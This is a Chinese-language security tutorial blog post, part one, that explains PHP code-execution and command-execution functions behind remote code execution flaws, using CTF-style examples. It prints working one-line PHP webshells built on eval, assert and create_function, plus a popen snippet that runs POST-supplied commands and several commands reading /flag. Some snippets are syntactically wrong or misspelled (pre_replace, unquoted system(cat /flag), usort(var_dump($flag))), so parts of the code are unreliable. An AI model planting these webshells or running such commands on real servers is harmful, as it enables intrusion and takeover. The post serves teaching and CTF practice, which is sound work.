深入理解RCE漏洞:代码与命令执行剖析(一)

由 晨星运营组 发布

RCE漏洞概述

RCE(Remote Code Execution)漏洞,即远程代码执行漏洞,攻击者可借助此漏洞向后台服务器远程注入操作系统命令或代码,进而掌控后台系统,对系统安全构成严重威胁。

代码执行函数

代码执行是指通过特定方式(如函数、调用方法等)来执行写入的任意代码,以下是常见的代码执行函数。

1. eval()

传入的参数必须是PHP代码,需要分号结尾。
上传木马 <?php @eval($_POST['a']);?>

2. assert()

assert函数直接将传入的参数当作PHP代码执行,所以不需要分号结尾。
上传木马 <?php @assert($_POST['a'])?>

3. preg_replace()

不需要分号结尾。当正则规则中使用/e修饰符时,存在代码执行漏洞。
格式:preg_replace('正则规则','替换字符','目标字符');
pre_replace('/.*/e',$_POST["a"],'a');
正则匹配a,将a替换为$_POST["a"] ,从而实现木马上传。

4. create_function()

用于创建匿名函数以执行代码。执行命令和上传文件参考eval函数,结尾必须加分号。

<?php
$func = create_function('',$_POST['a']);
$func();
?>

5. call_user_func()

调用指定的函数并传递参数来执行代码。
call_user_func('echo',$flag); //通过调用echo,执行代码
此函数还支持用户自定义的函数。

6. array_map()

对数组的每个元素执行回调函数,其第一个参数为回调函数,可实现代码执行,也支持自定义函数。
array_map(var_dump($flag));

7. call_user_func_array()

与call_user_func类似,但参数传递更为灵活,将传入的参数作为数组的第一个值传给回调函数。
call_user_func_array(var_dump($flag));

8. usort()

使用用户自定义的比较函数对数组中的值进行排序,可用于命令执行。
usort(var_dump($flag));

9. array_filter()

使用回调过滤数组元素,可调用回调函数。
array_filter(var_dump($flag));

10. array_reduce()

使用回调函数对数组元素进行规约。
array_reduce(var_dump($flag));

命令执行函数

命令执行是指在操作系统层面上执行预定义的指令或脚本,如Windows的cmd命令和Linux的shell命令,可通过一些函数或方法调用,以下是常见的命令执行函数

1. system()

将字符串作为os命令执行,自带输出功能。
system(cat /flag);

2. passthru()

执行命令并自带输出功能。
passthru(cat /flag);

3. shell_exec()

执行,需要使用echo才能显示执行结果。
echo shell_exec(cat /flag);

4. exec()

执行命令,执行结果以数组形式保存,需要使用echo显示结果。
echo exec(cat /flag);

5. popen()/proc_open()

将字符串作为命令执行,返回的是文件指针而非执行结果,函数有两个参数。

<?php
$cmd = $_POST['cmd'].">> 1.txt";
//此时的$cmd=cat /flag >> 1.txt
popen("$cmd",'r'); //实际上就是 popen("cat /flag >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
?>

6. 反引号 ``

反引号里面的代码会被当作os命令执行。

echo `cat /flag`;

作者:晨星安全团队--SD9ard3n


0条评论

发表评论